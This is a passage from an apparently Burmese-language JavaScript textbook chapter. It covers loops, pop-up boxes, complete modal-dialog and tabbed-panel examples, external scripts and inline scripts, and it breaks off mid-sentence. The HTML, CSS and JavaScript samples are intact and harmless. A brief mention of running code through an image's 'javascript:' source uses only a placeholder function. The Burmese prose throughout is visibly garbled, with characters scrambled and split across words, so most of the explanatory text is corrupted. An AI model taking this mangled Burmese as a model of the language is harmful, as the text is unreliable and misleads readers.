Index ၁၂ ခရုေှိတဲ့အတက်ွြ len ရေဲ့  သတမ်တှတ်နဖ်ေိုးကြိတာ့ 12 ပဖေစ်ိနမာှပါ။ i < len လို့စစ်အကြည့်လိုက်ြတဲ့အခါ
true  ပဖေစ်ိနတဲ့အတက်ွြ  Loop  ကြ စတငအ်လပုလ်ပုသွ်ားပါတယ်။  Block  ထဲကြ ပထမတစ်ိအကြာငး်မာှ  data
Variable ထကုိဲြ months[0] နဲ့ ိပါင်းစပထ်ားတဲ့ <option> ိပါငး်ထည့်လိုက်ြပါတယ်။ ဒတုယိတစ်ိအကြာငး်မာှ
ိတာ့ i တနဖ်ေိုးကုိြ ++ Operator သံုးပပးီ (၁) တိုးလိုက်ြပါတယ်။ ဒါိအကြာင့် i တနဖ်ေိုး 0 ကြိန 1 ပဖေစ်သွားပါတယ။်
ိနာက်ြတစ် ကကိြမထ်ပလ်ပုဖ်ေို့ Condition ကုိြ ပပနစ်စ်ိဆးပါတယ။် i < len ကုိြ ထပစ်စ်တဲ့အခါ i ကြ 1 ပဖေစ်ိနပပးီ
len ကြိတာ့  အိပပာငး်အလမဲရေှိ  12 ပဖေစ်တဲ့အတက်ွြ  true ပဖေစ်ိနပါိသးတယ်။  ဒီိ တာ့  Loop  Block  ထဲကြ
လပု်ိ ဆာငခ်ျက်ြိတကုိွြ ိနာက်ြတစ်ကကိြမ် ထပလ်ပုပ်ပနပ်ါတယ်။ ဒနီညး်နဲ့  Loop ကုိြ တစ်ကကိြမလ်ပုတ်ိုငး် <option>
တစ်ခု တိုးသွားသလို  i တနဖ်ေိုးလညး် (၁) တိုးတိုး သွားပါတယ်။ ိနာက်ြဆံုး i တနဖ်ေိုး 12 ပဖေစ်သွား တဲ့အချနိမ်ာှ i
< len Condition ကြ (12 < 12) => false ပဖေစ်သွားတဲ့အတက်ွြ Loop လညး်ရေပသွ်ားမာှပဖေစ်ပါတယ်။

while Loop ကုိြ ပုံစံအနညး်ငယ်ိပပာငး်ထားတဲ့ do - while Loop လညး်ရေှိပါတယ်။ သူကြိတာ့ Loop ကုိြ do
နဲ့ စပပးီ while Condition ကုိြ Loop Block ရေဲ့ိနာက်ြကုိြ ပို့လိုက်ြတာပဖေစ်ပါတယ်။ နမနူာမာှိပးထားတဲ့  while
Loop ကုိြ do - while နဲ့ ိပပာငး်ိရေးရေငအ်ခလုိုိ ရေးသားရေမာှပါ။

do {
  data += "<option>" + months[i] + "</option>";
  i++;
} while(i < len);

while နဲ့  do -  while ကွြာသွားတာကြ၊ while Loop မာှ  Condition  ကုိြ အရေငဆံု်းစစ်ပပးီ လပုသ်င့်မှ  Loop
Block ကုိြ အလပုလ်ပုပ်ါတယ်။ do - while မာှိတာ့ Loop Block ကုိြ အရေငလ်ပုပ်ပးီမှ Condition ကုိြစစ်တာပါ။
ဒါိအကြာင့် Condition နဲ့ ညီညမီညညီီ တစ်ကကိြမ်ိ တာမ့ပဖေစ်မိနအလပုလ်ပုပ်ပးီ ိနာက်ြအကကိြမ်ိ တမွှ Condition ိပါ်
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မူ တညပ်ပးီ သင့်သလိုဆက်ြလပု်ိ စချငတ်ဲ့အခါမျို းမာှ do - while Loop ကြ အသံုးဝငပ်ါတယ်။ for Loop လညး်
ရေှိပါိသးတယ။် ိရေးသားပုံကြ ဒလီိုပါ - 

for(init; condition; increment) { 
  … 
}

init ိနရောမာှ  Loop  ပထမဆံုးစတဲ့အချနိ်  လုပ်ိ စချငတ်ဲ့အလပုကုိ်ြ  ထည့်ိပးနိုငပ်ါတယ်။  တစ်ကကိြမပ်လဲပုမ်ာှပါ။
condition ကြိတာ့  while Loop  ကြ  condition လုိပါပ။ဲ  Condition  ရေလဒ်  true ပဖေစ်ိနသမျှ Loop
Block  ကုိြ ထပခ်ါထပခ်ါ ပပနလ်ပု်ိ ပးိနမာှပပဲဖေစ်ပါတယ်။  Increment  ိနရောမာှိတာ့  Loop Block  ကုိြ တစ်ကကိြမ်
အလပု်  လုပပ်ပးီတိုင်း  လပုသွ်ားိစချငတ်ဲ့ိ ဆာငရ်ေက်ွြချက်ြကုိြ  သတမ်တှ်ိ ပးရေပါတယ်။  ိဖောပ်ပခဲ့တဲ့နမနူာကုိြ  for
Loop နဲ့ ိပပာငး် ိရေးမယ်ဆုိရေင ်အခလုို ိရေးသားနိုငပ်ါတယ်။

for(i = 0; i < len; i++) {
  data += "<option>" + months[i] + "</option>";
}

init မာှိပးထားတဲ့ i = 0 ကြ ပထမဆံုးတစ်ကကိြမပ်အဲလပုလ်ပုမ်ာှပါ။  condition အတက်ွြိပးထားတဲ့ i <
len နဲ့ စစ်ိဆးပပးီ Loop Block ကုိြဆက်ြလပုသွ်ားမာှပါ။ i++ ကုိြ increment အိနနဲ့ ိပးထားတဲ့ အတက်ွြ Loop
Block ကုိြ တစ်ကကိြမလ်ပုပ်ပီးတိုငး် i တနဖ်ေိုးကုိြ (၁) တိုးတိုးိပးသွားမာှပဖေစ်ပါတယ်။ ဒါိအကြာင့်  Loop Block ထဲမာှ
i++ ထပ ်ိရေးစရောမလိို တာပ့ါဘးူ။

4.7 - Pop-up Boxes
JavaScript Program ိတမွာှလိုအပရ်ေင် Pop-up Box ိတထွည့်သွငး်အသံုးပပုနိုငပ်ါတယ်။ Pop-Up Box (၃)မျို း
ရေှိပါတယ်။ Alert Box, Confirm Box နဲ့ Prompt Box တို့ပပဲဖေစ်ပါတယ်။ 

ပုံ (၄-င) JavaScript Alert Box

Alert Box  မာှိတာ့  ပုံ  (၄-င) မာှိဖောပ်ပထားသလို ိဖောပ်ပလိုတဲ့  Message  နဲ့  OK Button  တစ်ခု ပါဝငမ်ာှပဖေစ်ပါ
တယ်။  Message  ိဖောပ်ပယံု  ိဖောပ်ပိပးပခငး်ပဖေစ်ပါတယ်။  အသံုးပပုလိုရေင်  alert("Hello, World!") လ့ုိ
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ိရေးသားိပး ရေပါတယ်။  Browser ကြ alert() Function ိတွ့တာနဲ့ Alert Pop-up Box ကုိြ ိဖောပ်ပိပးသွား
မာှပါ။ "Hello, World!" ိနရောမာှ နစ်ှသက်ြရော Message ကုိြထည့်သွင်းနိုငပ်ါတယ်။ OK Button ကုိြ နှိပလ်ိုက်ြရေင်
Pop-up Box ပပန ်ပတိသွ်ားမာှပါ။

ပုံ (၄-စ) JavaScript Confirm Box

Confirm Box ကြိတာ ့ပုံ  (၄-စ) မာှိဖောပ်ပထားသလို  Message တစ်ခနုဲ့  OK / Cancel Button နစ်ှခု ပါဝငပ်ါ
တယ်။ အသံုးပပုသူကြ OK button ကုိြ နှိပရ်ေငရ်ေလဒ် true ကုိြ ပပန်ိ ပးမာှပဖေစ်ပပးီ၊ Cancel ကုိြနှိပရ်ေင်ိ တာ့ false
ပပန်ိ ပးမာှပါ။  အသံုးပပုသူပပန်ိ ပးလာတဲ့  true /  false တနဖ်ေိုးိပါ်မတူညပ်ပးီ  သင့ိ် တာသ်လို  ဆက်ြလက်ြ
ိဆာငရ်ေက်ွြရေမာှ ပဖေစ်ပါတယ်။ ဥပမာ - 

var result = confirm("Are you sure?");
if( result ) {
  // do something that you want 
  // to carry on if user click OK
} else {
  // do something that you want
  // to carry on if user click Cancel
}

Confirm Box ိဖောပ်ပိပးတာကြ confirm("Are you sure?") ဆုိတဲ့အပိုငး်ပဖေစ်ပါတယ်။ နမနူာမာှ အသံုးပပုသူ နှိပ်
လိုက်ြတဲ့  Button  ိပါ်မတူညပ်ပးီ ရေရေှိလာမယ့်  true / false  ကုိြ  result Variable  နဲ့ လက်ြခရံေယူထားပါတယ်။ ပပးီ
ိတာမ့ှ  result  ကုိြ  စစ်ိဆးပပးီ  သင့်ိ တာတ်ဲ့အလပုကုိ်ြ  ဆက်ြလပုဖ်ေို့  if  Statement  နမနူာကုိြ  ိဖောပ်ပထားပါတယ်။
"Are you sure?" ဆုိတဲ့ိ နရောမာှ နစ်ှသက်ြရော Message ကုိြ ထည့်သွငး်အသံုးပပုနိုငပ်ါတယ်။

ပုံ (၄-ဆ) JavaScript Prompt Box
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Prompt Box မာှိတာ ့Message တစ်ခ၊ု စာရုိကြထ်ည့်လို့ရေတဲ့ Text Box တစ်ခနုဲ့ OK / Cancel Button နစ်ှခု 
ပါဝင် ပါတယ်။

var result = prompt("What is your name?");
if( result ) {
  // do something that you want to carry on
  // if user type something in textbox and click ok
} else {
  // do something that you want to carry on
  // if user type nothing or click cancel
}

အသံုးပပုသူကြ Cancel ကုိြ နှိပလ်ိုက်ြရေင်  Blank String ( "" ) တစ်ခကုိုြ ပပန်ိ ပးမာှပဖေစ်ပါတယ်။ OK ကုိြ နှိပလ်ိုက်ြ
ရေင်  ိတာ့  Textbox  ထမဲာှ  ရုိက်ြထည့်ထားတဲ့တနဖ်ေိုးကုိြပပန်ိ ပးမာှပါ။  Confirm  Box  မာှလိုပဲ  ရေလဒကုိ်ြ  result
Variable နဲ့ လက်ြခပံပးီ သင့်ိ တာသ်လို ဆက်ြလပုပ်ုံကုိြိဖောပ်ပထားပါတယ်။ 

Pop-up Box ိဖောပ်ပချနိမ်ာှ Default Value အိနနဲ့ Text Box ထမဲာှ ထည့်သွငး်လိုရေင် ဒတုယိ Parameter အိန
နဲ့ ထည့်သွငး်ိပးနိုငပ်ါတယ်။ ဥပမာ - prompt("What is your name?", "John Doe")။

အအကြမ်းဖေျဉး်အားပဖေင့် Browser ကြ Pop-up Box တစ်ခုိ ပါ်လာတိုငး် လက်ြရေှိအလပုလ်ပု်ိ နတဲ့ Code ိတကုိွြ ခဏ
ရေပထ်ားိလရ့ေှိပါတယ်။ အသံုးပပုသူကြ Pop-up Box ကြ Button ကုိြနှိပလ်ိုက်ြမှ ဆက်ြလက်ြိဆာငရ်ေက်ွြရေမယ့်အလပု်
ိတကုိွြ  ဆက်ြလပုသွ်ားတာပါ။  ဒါိအကြာင့်  ဒီ  Pop-up  Box  ိတကုိွြ  မပဖေစ်မိနလိုအပမ်သှာအသံုးပပုသင့်ပါတယ်။
Website  အများစုကြ JavaScript  ရေဲ့  Build-in Pop-up Box  ိတအွစားသီးပခားိရေးသားဖေနတ်းီထားတဲ့  Modal
Dialog  Box  ိတကုိွြပိုမိုအသံုးပပုလာအကြပါတယ်။  ကြျွန်ိ တာတ်ို့လညး်  လက်ြိတွ့  ဥပမာရေသွားိအာင်   Modal
Dialog Box တစ်ခ ုတည်ိ ဆာက်ြပုံကုိြ ဆက်ြလက်ြ ိဖောပ်ပိပးပါမယ်။

4.8 - JavaScript Modal Dialog
Modal Dialog  ဆုိတာ  ပုံ  (၄-ဇ)  မာှပပထားသလို  Page  တစ်ခလုုံးကုိြအိမာှငခ်ျလိုက်ြပပးီ အလယ်မာှိဖောပ်ပထားတဲ့
Dialog  Box  ိလးပကွဲြက်ြပပးီလငး်ိနသလိုပဖေစ်ိအာင်ိ ဖောပ်ပတဲ့  Dialog  Box  မျို းကုိြိပပာတာပါ။  Lightbox  လို့
လညး်ိခါ်အကြပါတယ။် 
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ပုံ (၄-ဇ) JavaScript Modal Dialog

ပုံမာှပပထားတဲ့ Dialog ရေရေှိဖေို့ ိရေးသားရေမယ့် Code အပပည့်အစံုကုိြိဖောပ်ပိပးလိုက်ြပါတယ်။ ကူြးယူစမး်သပအ်ကြည့်ပါ။

<!doctype html> 
<html> 
<head> 
  <title>JavaScript Modal Dialog</title> 

  <style> 
    html { 
      background: #efefef; 
    } 

    body { 
      font-family: Arial, Helvetica, sans-serif; 
      color: #333; 
      width: 500px; 
      margin: 30px auto; 
      padding: 20px; 
      border: 4px solid #ddd; 
      background: #fff; 
    } 

    h1 { 
      margin: 0; 
      padding: 8px; 
      font-size: 21px; 
      border-bottom: 1px solid #ddd; 
    } 
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    p { 
      font-size: 15px; 
      line-height: 1.5em; 
    } 
    button { 
      padding: 10px 20px; 
    } 

    /* Dialog */ 
    #overlay { 
      position: absolute; 
      top: 0; 
      left: 0; 
      width: 100%; 
      height: 100%; 
      background: #000; 
      opacity: 0.8; 
      display: none; 
    } 

    #dialog { 
      position: absolute; 
      top: 16%; 
      left: 35%; 
      width: 30%; 
      border: 4px solid #ccc; 
      background: #fff; 
      display: none; 
    }

    #dialog h2 { 
      margin: 0; 
      padding: 8px; 
      background: #ddd; 
      font-size: 17px; 
    } 
    #dialog h2 span { 
      display: block; 
      float: right; 
      padding: 0 5px; 
      color: #c22; 
      cursor: pointer; 
    } 
    #dialog form { 
      padding: 20px; 
    } 
    input[type=text] { 
      padding: 6px; 
      width: 90%; 
    } 
    textarea { 
      padding: 6px; 
      font-family: Arial, Helvetica, sans-serif; 
      width: 90%; 
      height: 140px; 
    } 
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    input[type=submit] { 
      padding: 8px 18px; 
      margin-top: 10px; 
    } 
  </style> 
</head> 
<body> 
  <h1>This is my awesome website!</h1> 

  <p> 
    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod 
    tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, 
    quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo 
    consequat. 
  </p> 

  <p> 
    Ut enim ad minim veniam, 
    quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo 
    consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse 
    cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non 
    proident, sunt in culpa qui officia deserunt mollit anim id est laborum. 
  </p> 

  <button onClick="showDialog()">Contact Me?</button> 

  <!-- Dialog --> 
  <div id="overlay" onClick="hideDialog()"></div> 
  <div id="dialog"> 
    <h2>Contact Me? <span onClick="hideDialog()">&times;</span></h2> 

    <form> 
      <input type="text" placeholder="Your email"> 
      <textarea placeholder="Your message"></textarea> 
      <input type="submit" value="Send"> 
    </form> 
  </div> 

  <script> 
    function showDialog() { 
      document.getElementById("overlay").style.display = "block"; 
      document.getElementById("dialog").style.display = "block"; 
    } 

    function hideDialog() { 
      document.getElementById("overlay").style.display = "none"; 
      document.getElementById("dialog").style.display = "none"; 
    } 
  </script> 
</body> 
</html> 

မတ်ှချကြ်  ။ ။ <p> Element  ိတွထဲမာှ  Content  အပဖေစထ်ည့်သငွး်ထားတ့ဲ  Lorem Ipsum  အစရေှိတ့ဲ  အချကြအ်လကြ်ိ တွကြို
Dummy Data လုိ့ိ ခါ်ပါတယ။် အဓပိ္ပါယအ်ထူးမရေှိပါဘးူ။ နမနူာစာိတွ ပဖေည့်သငွး်ဖေို့သကြသ်ကြ် အသုံးပပုအကြိလ့ရေှိပါတယ။် ကြးူ
ယစူမး် သပတ့ဲ်အခါ အဲ့ဒါိတွကြိုအကြနုမ်နှ်ိ အာငက်ြးူထည့်ိ နစရောမလုိအပပ်ါဘးူ။ နစှသ်ကြရ်ောစာနဲ့အစားထုိး စမး်သပန်ိုငပ်ါတယ။်
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HTML Structure ကုိြိလလ့ာအကြည့်ပါ။ Dialog Box ဖေနတ်းီဖေို့အတက်ွြ  Element တစ်ချို ့ထည့်သွငး်ထားပါတယ်။
<div  id="overlay"> ကြိတာ့  Page  ကုိြ  အိမာှငခ်ျိပးတဲ့  Layer  တစ်ထပအ်ိနနဲ့  အသံုးပပုချငလ်ို့
ထည့်သွငး်ထားတာပါ။ <div id="dialog"> ကြိတာ့ မလူကြမိဖောပ်ပပဲ  Button ကုိြ နှိပလ်ိုက်ြိတာမ့ှ  Modal
Dialog အိနနဲ့ ိဖောပ်ပိစချငတ်ဲ့  Element ပဖေစ်ပါတယ်။

CSS  ကုိြိလလ့ာအကြည့်ပါ။  #overlay ိရော  #dialog ကုိြပါ  position: absolute; သတမ်တှထ်ားပါ
တယ်။  #overlay ကုိြ  width: 100%; height: 100%; သတမ်တှထ်ားိတာ့  Page  တစ်ခလုုံးကုိြဖေုံးအုပ်
သွားိစပါ တယ်။ ဒါိပမယ့် opacity: 0.8; လ့ုိ သတမ်တှလ်ိုက်ြတဲ့အတက်ွြ သူိနာက်ြမာှရေှိိ နတဲ့ Element ိတွ
ကုိြ ထငွး် ိဖောက်ြပမင်ိ တွ့  ိနရေိစပါတယ်။

#dialog  အတငွး်ကြ  <h2> Element  ထဲမာှ  <span>&times;</span> လ့ုိထည့်သွင်း  ထားပါတယ်။
&times; ကြ အိပမာှက်ြသိကြအင်္ဂတ  (x)  ကုိြ  HTML Symbol  အိနနဲ့ထည့်သွင်းထားတာပဖေစ်ပါ  တယ်။  Close
Button အိနနဲ့ အသံုးပပုချငလ်ို့ ထည့်သွငး်ထားတာပါ။ 

မတ်ှချကြ် ။ ။ cursor: pointer; ဆုိတ့ဲ CSS Property တစခ်ု အသုံးပပုထားပါတယ။် အဲ့ဒီ Property ကြ Element ကြို
Mouse နဲ့ ိထာကြလုိ်ကြတ့ဲ်အခါ  Mouse Pointer ကြို ိဖောပ်ပိနအကြမျှားပုံစနံဲ့မဟတ်ုပဲ လကြည်ှုိ းညနွထ်ားတ့ဲပုံစံ ိဖောပ်ပိပးသာွး
မာှပါ။ အသုံးပပုသူိ တွကြ အဲ့ဒလုိီ Pointer ကြိုပမငရ်ေင ်နှိပလုိ်ရ့ေမနှး်အလုိလုိသိဘာိပါကြအ်ကြပါတယ။်

showDialog() နဲ့  hideDialog() JavaScript  Function  နစ်ှခု  ပါဝငပ်ါတယ်။  showDialog() ကြ
#overlay နဲ့  #dialog တို့ရေဲ့  Display  Style  ကုိြ  block လပု်ိ ပးပါတယ်။  hideDialog() ကြိတာ့
#overlay နဲ့  #dialog တို့ရေဲ့  Display Style  ကုိြ  none လုပ်ိ ပးပါတယ်။  showDialog() Function  ကုိြ
<button> ရေဲ့  onClick မာှိခါ်ထားတဲ့အတက်ွြ  <button> ကုိြ  နှိပလ်ိုက်ြရေင်  Dialog  Box  ိပါ်လာမာှပါ။
#overlay  ပါိပါ်လာလို့ Page ကုိြ အိမာှငခ်ျထားတယ်လို့ ထငရ်ေိစမာှ ပဖေစ်ပါတယ်။ hideDialog() ကုိြိတာ့
#dialog  ထကဲြ  <span> ရေဲ့  onClick မာှ  ိခါ်ထားသလို  #overlay ရေဲ့  onClick မာှလညး်ိခါ်ထားပါ
တယ်။ ဒါိအကြာင့်  Close Button (x)  ကုိြပဲ နှိပန်ှိပ်  #overlay ကုိြပနဲှိပန်ှပိ်  Dialog Box ကြ ပပန်ိ ပျာက်ြသွားမာှ
ပဖေစ်ပါတယ်။ ဒနီညး်နဲ ့Modal Dialog အဖေငွ့်အပတိ ်လပုန်ိုငဖ်ေို့ စီစဉ်ိ ပးထားတာပါ။

ဒီိ နရောမာှ အထးူသတပိပုိစချငတ်ာတစ်ခကုြ  JavaScript  အမနှတ်စ်ကြယ်လပု်ိ ပးသွားတာကြ  "နှိပရ်ေင်ိ ပါ်ဖေို"့  သာ
လပု်ိ ပးသွားတာပါ။  Dialog Box ပုံစံပဖေစ်ိအာငတ်ည်ိ ဆာက်ြပခငး်နဲ့  Dialog Element  ိတ ွိနရောချထားပခငး်ကုိြ
CSS ကြ လုပသွ်ားတာပါ။ အမနှ်ိ တာ ့ိပါ်ဖေိုိ့ ပျာက်ြဖေို့ဆုိတဲ့လပု်ိ ဆာငခ်ျက်ြိတာငမ် ှ CSS အကူြအညနီဲ့ JavaScript
ကြလပုရ်ေတာပါ။ ဒါိအကြာင့် CSS ဟာ User Interface Develop မာှ ိတာ်ိ တာ်ိ လး အိရေးပါတယ်ဆုိတာကုိြသတိ
ပပုိစချင ်ပါတယ်။

ိနာက်ြထပန်မနူာတစ်ခုိ လာက်ြ ထပမ်ံိ ဖောပ်ပချငပ်ါိသးတယ်။
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4.9 - Tabbed Panels
Tabbed Panels  ဆုိတာ Tab  တစ်ခကုိုြနှိပလ်ိုက်ြရေင် တွဲဖေက်ြိဖောပ်ပတဲ့  Content  ိပပာငး်ပပးီိဖောပ်ပိပးတဲ့  Interface
တစ်မျို း ပဖေစ်ပါတယ်။

ပုံ (၄-ဈေ) JavaScript Tabbed Panels

ပုံ  (၄-ဈေ)  မာှ  နမနူာိဖောပ်ပထားတဲ့  Tabbed Panels  မာှ  Tab  နစ်ှခနုဲ့  Panel  နစ်ှခပုါတယ်။  Tab  ကုိြနှိပလ်ိုက်ြရေင်
သက်ြဆိငုရ်ော Panel ကုိြ ိပပာငး်လဲိ ဖောပ်ပမာှပဖေစ်ပါတယ်။ Code အပပည့်အစံု ိဖောပ်ပိပးလိုက်ြပါတယ်။ 

<!doctype html> 
<html> 
<head> 
  <title>Tabbed Panels</title> 
  <style> 
    body { 
      font-family: Arial, Helvetica, sans-serif; 
      color: #222; 
    }
    .tab-bar { 
      list-style: none; 
      margin: 0; 
      padding: 10px 10px 0 10px; 
      background: #c22; 
      overflow: hidden; 
    } 
    .tab-bar li { 
      padding: 8px 20px; 
      float: left; 
      margin-right: 8px; 
      background: #fff; 
      cursor: pointer; 
    }
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    .panel { 
      min-height: 200px; 
      border: 1px solid #c22; 
      border-top: 0 none; 
      padding: 15px; 
    } 
    #tab-2 { 
      background: #e55; 
    } 
    #panel-2 { 
      display: none; 
    } 
  </style> 
</head> 
<body> 
  <ul class="tab-bar"> 
    <li id="tab-1" onClick="switchOne()">Tab One</li> 
    <li id="tab-2" onClick="switchTwo()">Tab Two</li> 
  </ul> 
  <div class="panel" id="panel-1">Panel One</div> 
  <div class="panel" id="panel-2">Panel Two</div> 

  <script> 
    function get(obj) { 
      return document.getElementById(obj); 
    } 

    function switchOne() { 
      get("tab-1").style.background = "#fff"; 
      get("tab-2").style.background = "#e55"; 
      get("panel-1").style.display = "block"; 
      get("panel-2").style.display = "none"; 
    } 

    function switchTwo() { 
      get("tab-1").style.background = "#e55"; 
      get("tab-2").style.background = "#fff"; 
      get("panel-1").style.display = "none"; 
      get("panel-2").style.display = "block"; 
    } 
  </script> 
</body> 
</html> 

ဒနီမနူာမာှလညး် JavaScript  ကြ Tab ကုိြ နှိပလ်ိုက်ြရေင်  Panel  တစ်ခကုိုြိဖောပ်ပးီ ကြျနတ်စ်ခကုိုြ ိဖေျာက်ြိပးလိုက်ြတဲ့
လပု်ိ ဆာငခ်ျက်ြကုိြသာ လပု်ိ ပးသွားတာပဖေစ်ပါတယ်။ အဓကိြကြျတဲ့ Tabbed Panels Interface အပပည့်အစံုကုိြိတာ့
CSS အသံုးပပုတည ်ိဆာက်ြသွားပခငး်ပဖေစ်ပါတယ်။

မတ်ှချကြ ်။ ။ onClick Event Attribute ကြိုသုံးထားလုိ့ Tab ကြို Click နှိပရ်ေင ်ိဖောပ်ပတ့ဲ Panel ိပပာငး်ိပးတာပါ။ အကြယ၍်
Click  နှိပစ်ရောမလုိပဲ  Mouse  နဲ့  ိထာကြလုိ်ကြယ်ုံနဲ့  ိပပာငး်သာွးိစချငရ်ေင်ိ တာ့  onClick ိတွအစား  onMouseOver
Attribute နဲ့ အစားထုိး လုိကြယ်ုံပါပ။ဲ  စမး်သပအ်ကြည့်နိုငပ်ါတယ။်
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ထးူပခားချက်ြလိုိ့ ပပာလို့ရေတာနစ်ှချက်ြပါဝငပ်ါတယ်။  တစ်ခကုြ   CSS  မာှ  .panel အတက်ွြ  min-height ကုိြ
အသံုးပပု  ထားပခငး်ပဖေစ်ပါတယ်။  min-height ဆုိတာ  Minimal  Height  ဆုိတဲ့အဓပိ္ပါယပ်ါ။  ရုိးရုိး  height
ကြိတာ့ အထကဲြ Content ကုိြ မအကြည့်ိ တာပ့ရဲေှိရေမယ့် Element အပမင့်ကုိြ ပမာဏအတအိကြျသက်ြမတှလ်ိုက်ြတာပဖေစ်
ပါတယ်။  min-height ကြိတာ့ အနညး်ဆံုး ရေှိရေမယ့်ပမာဏကုိြပဲ သတမ်တှတ်ာပဖေစ်လို့  Content  ိတမွျားလာလို့
Element အပမင့်ကြ သတမ်တှထ်ားတဲ့ ပမာဏထက်ြပိုပမင့်သာွးမယ် ဆုိရေငလ်ညး် ပမင့်နိုင်ိ စမာှပပဲဖေစ်ပါတယ်။

ိနာက်ြတစ်ချက်ြကြိတာ့  JavaScript  ထမဲာှိရေးသားထားတဲ့  get() Function  ပပဲဖေစ်ပါတယ။်  document.
getElementById ကြရေညှတ်ဲ့အတက်ွြ သူကုိ့ြခဏခဏမရိက်ုြချငလ်ို့   get() Function  ကုိြ ထည့်သွငး်ိရေးသား
လိုက်ြတာ  ပဖေစ်ပါတယ်။  get() Function  ထည့်သွငး်ိပးလာတဲ့  Parameter  ကုိြလက်ြခပံပးီ  document.
getElementById ထဲမာှ ထည့်သွငး်ပပးီ return ပပန်ိ ပးလို့ document.getElementById လ့ုိ ခဏခဏ
အရေညှက်ကီြးိရေးိနရေမယ့်အစား  get() ကုိြ အစားထိုးအသံုးပပုနိုငသွ်ားပါတယ်။

မတ်ှချကြ် ။ ။ Function  ိတွကြို ိခါ်ယအူသုံးချတ့ဲအခါ  Function  ထဲမာှ ိရေးသားထားတ့ဲလုပ်ိ ဆာငခ်ျကြ်ိ တွကြို  ိဆာငရ်ေကွြ်
သာွးယုံမကြ  ိခါ်ယအူသုံးချတ့ဲိနရောကြိုလညး်  တနဖ်ေိုးတစခ်အုပမပဲပန်ိ ပးိလ့ရေှိပါတယ။်  ပပန်ိ ပးိစချငတ့ဲ်  တနဖ်ေိုးကြို  return
Keyword သုံးပပးီိရေးသားနိုငပ်ါတယ။် အကြယ၍် return Keyword သုံးပပးီ တနဖ်ေိုးပပနမ်ိပးရေင် JavaScript ကြ undefined
ကြို အလုိအိလျှာကြ ်ပပန်ိ ပးသာွးမာှပပဲဖေစပ်ါတယ။်

ကြျနအ်လပုလ်ပုသွ်ားပုံ  အိသးစိတကုိ်ြိတာ့   စာဖေတသူ်ကုိြယ်တိုငပ်ဲ  ိရေးသားထားတဲ့  Code  ကုိြအကြည့်ရှု ပပီး
ဆက်ြလက်ြိလလ့ာိစချငပ်ါတယ်။ 

4.10 - External JavaScript
JavaScript Code ိတကုိွြ HTML Document  ထမဲာှ  <script> Element  သံုးပပီးထည့်သွငး်ိရေးသားနိုငပ်ခငး်
ကုိြ နမနူာိတမွာှိဖောပ်ပခဲ့ပါပပ။ီ JavaScript ိတကုိွြ .js Extension ိပးထားတဲ့ သီးပခားဖေိငုအ်ိနနဲ့လညး်ိရေးသား
လို့ရေပါတယ်။  အ့ဲဒလီိုသီးပခားိရေးသားထားတဲ့  Script  File  ိတကုိွြ  ချတိဆ်က်ြအသံုးပပုဖေို့အတက်ွြ  <script>
Element ကုိြပဲ သံုးရေပါတယ်။ 

<script src="script.js"></script>

src Attribute မာှ ချတိဆ်က်ြအသံုးပပုလိုတဲ့ Script File ကုိြ ညွှနး်ိပးရေမာှပဖေစ်ပါတယ်။

မတ်ှချကြ် ။ ။ External CSS File ိတွကြို ချိတ်ဆကြဖ်ေို့အတွကြ် <link> Element ကြို အသုံးပပုရေပါတယ။် <link> Element
ဟာ Empty Element တစခ်ပုဖေစပ်ါတယ။် <script> Element ကြိတာ့ Close Tag ထည့်သငွး်ိပးဖေို့ လုိအပတ်ာကြို သတိပပု
ပါ။

<script> Element မာှ src Attribute ပါရေင၊် Browser ကြ src မာှညွှနး်ထားတဲ့ JavaScript ိတကုိွြပဲ ရေယူ
အလပု်  လပု်ိ ပးသွားမာှပဖေစ်ပါတယ်။  src Attribute  မပါဝငမ်သှာ  <script> အဖေငွ့်နဲ့  </script> အပတိ်
အကြားထမဲာှ  ိရေးသားထားတဲ့  Code  ိတကုိွြအလပုလ်ပု်ိ ပးမာှပဖေစ်ပါတယ်။ ဒါိအကြာင့်  src Attribute  ထည့်သွငး်
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ထားတဲ့ <script> Element အဖေငွ့်အပတိထ်မဲာှ JavaScript ိတကုိွြ ထည့်သွငး်ိရေးသားရေငလ်ညး် အလပုလ်ပုမ်ာှ
မဟတု ်ပါဘးူ။

4.11 - Inline Script
onClick လုိ Event Attribute နဲ့တွဲဖေက်ြိရေးထားတဲ့ JavaScript ိတကုိွြ Inline JavaScript လ့ုိိခါ်နိုငပ်ါတယ်။
JavaScript  ကုိြ  HTML Element  နဲ့အတတူွဲဖေက်ြိရေးထားတာပါ။  Inline JavaScript  ကုိြ  <img> Element,
<a> Element တို့နဲလ့ညး် တဲွဖေက်ြိရေးသားလို့ရေပါတယ်။  

<img> Element ရေဲ့  src Attribute ကြ onLoad Event Attribute နဲ့ ဆငပ်ါတယ်။  Browser ကြ Image ကုိြ
ိဖောပ်ပဖေို့ ကကိြုးစားတဲ့အိနနဲ့  src Attribute မာှိပးထားတဲ့ သတမ်တှခ်ျက်ြကုိြ အလပုလ်ပု်ိ ပးသွားမာှပဖေစ်ပါတယ်။

<img src="javascript: doSomething()">

နမနူာမာှ  src Attribute အတက်ွြ Image တစ်ခုိ ပးမထားပဲ  JavaScript Code ိတထွည့်သွငး်ိရေးသားထား ပါ
တယ်။ ိရေှ့ကြိန javascript: ဆုိတဲ့  Keyword ိလးခပံပးီ ိရေးိပးရေပါတယ်။ Browser  ကြ Image ိဖောပ်ပဖေို့
src Attribute  ကုိြ  အလပုလ်ပုတ်ဲ့အခါ  ိပးထားတဲ့  JavaScript  Code  ကြ  Run  သွားမာှပဖေစ်ပါတယ်။  အမနှ်
ကြိတာ၊့  ဒနီညး်ဟာ  ပုံမနှန်ညး်လမး်ိတာ့  မဟတုပ်ါဘးူ။  ပုံမနှ်  Developer  တစ်ိယာက်ြ  အိနနဲ့  JavaScript
Code ိတ ွRun ဖေို့ <img> Attribute ကုိြသံုးိနဖေို့ မလိုအပပ်ါဘးူ။ အသံုးပပုသူကုိြ လှည့်စားလို့သူိတကွြသာသံုးအကြ
တဲ့ နညး်လမး်တစ်မျို းပဖေစ်ပါတယ်။

<a href="javascript: doSomething()">Hyperlink</a>

နမနူာမာှ <a> Element ရေဲ့  href Attribute မာှ အညွှနး်လပိစ်ာမထည့်ပဲ javascript: Keyword ကုိြသံုးပပးီ
